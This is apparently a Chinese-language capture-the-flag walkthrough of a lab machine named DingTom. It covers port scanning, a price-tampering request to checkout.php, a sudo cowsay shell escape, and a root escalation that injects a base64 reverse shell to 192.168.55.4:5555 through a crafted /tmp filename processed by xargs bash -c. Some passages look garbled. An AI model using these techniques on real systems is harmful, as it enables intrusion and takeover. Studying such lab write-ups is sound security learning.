

# DingTom

## Nmap

```
[root@kali] /home/kali/Dingtom
> nmap 192.168.55.31 -sV -A -p-

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256  bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256  3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp    open  http     Apache httpd 2.4.62 ((Debian))
|_ http-server-header: Apache/2.4.62 (Debian)
| http-title: \xE8\xB4\xA6\xE6\x88\xB7\xE4\xB8\xAD\xE5\xBF\x83
|_ Requested resource was account.php
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_    httponly flag not set
```

## Feroxbuster

```
[root@kali] /home/kali/Dingtom
> feroxbuster -u 'http://192.168.55.31' -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt
```

by Ben "epi" Risher 🐼 ver: 2.11.0

🎯	Target Url	http://192.168.55.31
🚀	Threads	50
📄	Wordlist	/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
🔥	Status Codes	All Status Codes!
⏰	Timeout (secs)	7
👤	User-Agent	feroxbuster/2.11.0
🔧	Config File	/etc/feroxbuster/ferox-config.toml
🔍	Extract Links	true
💰	Extensions	[php, txt]
🚩	HTTP methods	[GET]
📏	Recursion Depth	4

🚩 Press [ENTER] to use the Scan Management Menu™

```
404      GET      9l      31w      275c Auto-filtering found 404-like
response and created new filter; toggle off with --dont-filter
403      GET      9l      28w      278c Auto-filtering found 404-like
response and created new filter; toggle off with --dont-filter
302      GET      0l      0w      0c http://192.168.55.31/index.php =>
account.php
```

```

302    GET      0l      0w      0c http://192.168.55.31/ => account.php
200    GET      0l      0w      0c http://192.168.55.31/checkout.php
200    GET      81l     169w    2812c http://192.168.55.31/shop.php
200    GET      59l     115w    1455c http://192.168.55.31/account.php
200    GET      28l     60w     822c http://192.168.55.31/vip.php
[#####] - 73s  661647/661647  0s      found:6      errors:0

[#####] - 72s  661638/661638  9174/s  http://192.168.55.31/

```

## Own welcome

进入网页，当前余额只有1块钱，在购买通行证时进行抓包，修改 price 为1

```

POST /checkout.php HTTP/1.1
Host: 192.168.55.31
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101
Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Origin: http://192.168.55.31
Connection: keep-alive
Referer: http://192.168.55.31/shop.php
Cookie: PHPSESSID=q8s7p1utoaptspqba6lkmfhoa5
Upgrade-Insecure-Requests: 1
Priority: u=0, i

product_id=3&price=1

```

放包后自动进入到 vip.php，获得密码

```
welcome:c7108a26d85bef0
```

查看一下 vip.php 源码就知道了， price 必须是1 😂

```

<?php session_start();
$has_vip = false;
$flag = "welcome:c7108a26d85bef0";

foreach($_SESSION['purchased'] as $item) {
    if ($item['name'] === 'VIP通行证' && $item['price'] == 1) {
        $has_vip = true;
        break;
    }
}
?>

```

## Own dingtom

查看 `sudo -l`

```
welcome@DingTom:~$ sudo -l
Matching Defaults entries for welcome on DingTom:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on DingTom:
    (dingtom) NOPASSWD: /usr/games/cowsay
```

GTFOBins 上面的直接抄过来就行了

```
welcome@DingTom:~$ echo 'exec "/bin/sh";' > up
welcome@DingTom:~$ sudo -u dington /usr/games/cowsay -f ./up x
$ whoami
dington
$
```

## Root (非预期)

查看 sudo -l

```
dingtom@DingTom:/home/welcome$ sudo -l
Matching Defaults entries for dingtom on DingTom:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\: /usr/local/bin\: /usr/sbin\: /usr/bin\: /sbin\: /bin

User dingtom may run the following commands on DingTom:
    (root) NOPASSWD: /opt/install.sh
```

尝试运行一下

```
dingtom@DingTom:/home/welcome$ sudo -u root /opt/install.sh

  TT  TT  TT  TT
H  ||  ||  ||  ||
  ||  ||  ||  ||

[✦] 量子系统初始化中...
██████████████████ 100%

=====

🚀 赛博更新协议已激活 |

=====

2025-05-03 05:11:13 |_/> 时空锚点已记录

[ 系统自检 ]
- 扫描第8维度协议...

⚠ 警告：即将进入超频更新模式

按任意键启动曲速引擎...
```

[✦] 量子系统初始化中... 100%

[illegible] 赛博更新协议已激活 |[illegible]

2025-05-03 05:11:13 | \_/> 时空锚点已记录

[ 系统自检 ]  
- 扫描第8维度协议...

⚠ 警告：即将进入超频更新模式

按任意键启动曲速引擎...



```

2025/05/03 05:16:24 CMD: UID=0      PID=864      | /bin/bash /opt/install.sh
2025/05/03 05:16:24 CMD: UID=0      PID=863      | /bin/bash /opt/install.sh
2025/05/03 05:16:24 CMD: UID=0      PID=865      | find /tmp -maxdepth 1 -name
*.quantum -exec ls -lh {} ;
2025/05/03 05:16:24 CMD: UID=0      PID=866      | find /tmp -maxdepth 1 -name
*.quantum -exec ls -lh {} ;
2025/05/03 05:16:24 CMD: UID=0      PID=867      | find /tmp -maxdepth 1 -name
*.quantum -exec ls -lh {} ;
2025/05/03 05:16:24 CMD: UID=0      PID=868      | find /tmp -maxdepth 1 -name
*.quantum -exec ls -lh {} ;
2025/05/03 05:16:24 CMD: UID=0      PID=870      | /bin/bash /opt/install.sh
2025/05/03 05:16:24 CMD: UID=0      PID=869      | /bin/bash /opt/install.sh
2025/05/03 05:16:24 CMD: UID=0      PID=871      | xargs -I{} bash -c echo -e
"\033[38;5;$(($(RANDOM%255))m★ {} \033[0m"

```

关键在于 **xargs**，这种形式会把文件名直接拼进一个 **bash -c** 的命令中执行，只要文件名中带有 shell 特殊字符（如 **\$()**、反引号、分号等）就会被执行！

```

find /tmp -maxdepth 1 -name *.quantum -exec ls -lh {} ;
#查找 /tmp 下所有 一级目录 中以 .quantum 结尾的文件。对每个匹配到的文件执行 ls -lh 显示详
细信息。
xargs -I{} bash -c 'echo -e ... {}'
#输出样式美化后的内容

```

例如可以这样进行测试，由于扫描到了 **/tmp/\$(id).quantum**

```

dingtom@DingTom:/tmp$ touch '$(id).quantum'
dingtom@DingTom:/tmp$ sudo -u root /opt/install.sh

...
...
...

❌❌❌ 时空折叠已完成！
当前/tmp目录星图：
★ /tmp/uid=0(root) gid=0(root) groups=0(root).quantum
★ /tmp/hosts.quantum
★ /tmp/syslog.quantum

```

因此可以尝试构造一下反弹 **shell** 的命令，这里如果文件名中存在 **/** 斜杠符号会直接报错，因此要避免一下，最好是使用 **base64** 配合管道符号

```

dingtom@DingTom:/tmp$ touch '$(echo
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU1LjQvNTU1NSAwPiYx|base64 -d
|bash).quantum'
dingtom@DingTom:/tmp$ sudo -u root /opt/install.sh

```

**kali** 端监听即可

```

[root@kali] /home/kali/Desktop
> nc -lvp 5555
listening on [any] 5555 ...
connect to [192.168.55.4] from (UNKNOWN) [192.168.55.31] 54554
root@DingTom:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)
root@DingTom:/tmp#

```

非预期，学习一下思路即可。下面是 **install.sh** 的源码，可以对照着看看



```

echo -e "\n\033[36m$(date +%Y-%m-%d %H:%M:%S') \033[35m◊—<—◊\033[0m 正在量子
纠缠以下文件: "
files=("/etc/hosts" "/var/log/syslog" "$HOME/.bashrc")
for f in "${files[@]"; do
    echo -ne "\033[38;5;$((RANDOM%255))m"
    echo
    "
    echo -e "\033[3D🌀 [文件本体] $f \033[5m→\033[0m
\033[1;31m/tmp/${f##*/}.quantum\033[0m"
    cp -v "$f" "/tmp/${f##*/}.quantum" 2>/dev/null || echo "❌ 维度震荡导致复制失
败! "
    sleep 0.5
done

# 全息校验系统
echo -e "\n\033[48;5;21m\033[1;37m[✓] 时空连续性校验: \033[0m"
find /tmp -maxdepth 1 -name "*.quantum" -exec ls -lh {} \; 2>/dev/null |
    while read -r line; do
        echo -e "\033[38;5;$((RANDOM%255))m${line//G/GB}🌟\033[0m"
    done

# 超新星爆发式完成提示
echo -e "\n\033[48;5;196m\033[1;33m💥💥💥 时空折叠已完成! \033[0m"
echo -e "\033[38;5;226m当前/tmp目录星图: "
ls /tmp/*.quantum 2>/dev/null |
    xargs -I{} bash -c 'echo -e "\033[38;5;$((RANDOM%255))m★ {} \033[0m"'

```